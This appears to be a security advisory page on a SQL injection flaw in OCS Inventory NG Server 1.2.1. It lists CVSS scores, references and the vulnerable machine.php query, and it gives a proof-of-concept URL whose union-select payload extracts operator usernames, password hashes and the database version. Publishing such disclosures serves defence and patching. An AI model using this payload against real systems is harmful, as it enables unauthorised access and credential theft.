OCS Inventory NG Server 1.2.1 SQL Injection

2009-09-01 / 2009-09-02
Credit: gmcbr0
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

OCS Inventory NG Server 1.2.1 Details: The Open Computer and Software (OCS) Inventory Next Generation (NG) provides relevant inventory information about system configurations and software on the network. Download : http://www.ocsinventory-ng.org/index.php?page=1-02-1 Found by : Guilherme Marinheiro Contact : gmcbr0 (at) gmail (dot) com [email concealed] Prequisite: Authenticated user Remote exploitable:Yes (Authentication is needed) PoC : http://localhost/ocsreports/machine.php?systemid=1)%20union%20select%201 ,2,user(),3,5,6,7,8,9,10,11,12,passwd,14,15,16,17,18,id,20,21,22,23,24,2 5,26,27,27,version()%20from%20operators%20-- Vulnerable Code: script: machine.php 77 $queryMachine = "SELECT * FROM hardware WHERE (ID=$systemid)"; 78 $result = mysql_query( $queryMachine, $_SESSION["readServer"] ) or mysql_error($_SESSION["readServer"]); 79 $item = mysql_fetch_object($result);

References:

http://www.securityfocus.com/archive/1/archive/1/505675/100/0/threaded
http://www.ocsinventory-ng.org/index.php?mact=News,cntnt01,detail,0&cntnt01articleid=147&cntnt01returnid=15
http://www.milw0rm.com/exploits/9416
http://secunia.com/advisories/35311
http://seclists.org/fulldisclosure/2009/Aug/0143.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top